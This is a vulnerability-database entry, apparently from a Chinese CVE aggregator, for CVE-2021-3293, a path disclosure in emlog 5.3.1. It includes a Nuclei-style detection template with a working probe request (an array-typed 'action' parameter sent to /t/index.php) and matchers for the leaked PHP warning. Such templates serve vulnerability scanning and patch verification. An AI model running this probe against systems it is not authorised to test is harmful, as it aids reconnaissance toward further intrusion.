CVE-2021-3293: emlog 5.3.1 Path Disclosure

日期: 2025-08-01 | 影响软件: emlog 5.3.1 | POC: 已公开

漏洞描述

emlog v5.3.1 is susceptible to full path disclosure via t/index.php, which allows an attacker to see the path to the webroot/file.

PoC代码[已公开]

id: CVE-2021-3293

info:
  name: emlog 5.3.1 Path Disclosure
  author: h1ei1
  severity: medium
  description: emlog v5.3.1 is susceptible to full path disclosure via t/index.php, which allows an attacker to see the path to the webroot/file.
  impact: |
    An attacker can gain knowledge of the server's file system structure, potentially leading to further attacks.
  remediation: |
    Apply the latest patch or upgrade to a version that fixes the vulnerability.
  reference:
    - https://github.com/emlog/emlog/issues/62
    - https://github.com/thinkgad/Bugs/blob/main/emlog%20v5.3.1%20has%20Full%20Path%20Disclosure%20vulnerability.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3293
    - https://github.com/Z0fhack/Goby_POC
    - https://github.com/20142995/Goby
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-3293
    cwe-id: CWE-22
    epss-score: 0.34114
    epss-percentile: 0.96847
    cpe: cpe:2.3:a:emlog:emlog:5.3.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: emlog
    product: emlog
  tags: cve2021,cve,emlog,fpd

http:
  - raw:
      - |
        GET /t/index.php?action[]=aaaa HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<b>Warning</b>"
          - "on line"
          - "expects parameter"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200f183acda3cfef1225eaf0665452906fbcbd8c1e2c2a5c4d08d30a4b8776334002210081a11526318393a8b69bc46a525dd97d7d3e1c2560edd04555129f1de3e39fec:922c64590222798bb761d5b6d8e72950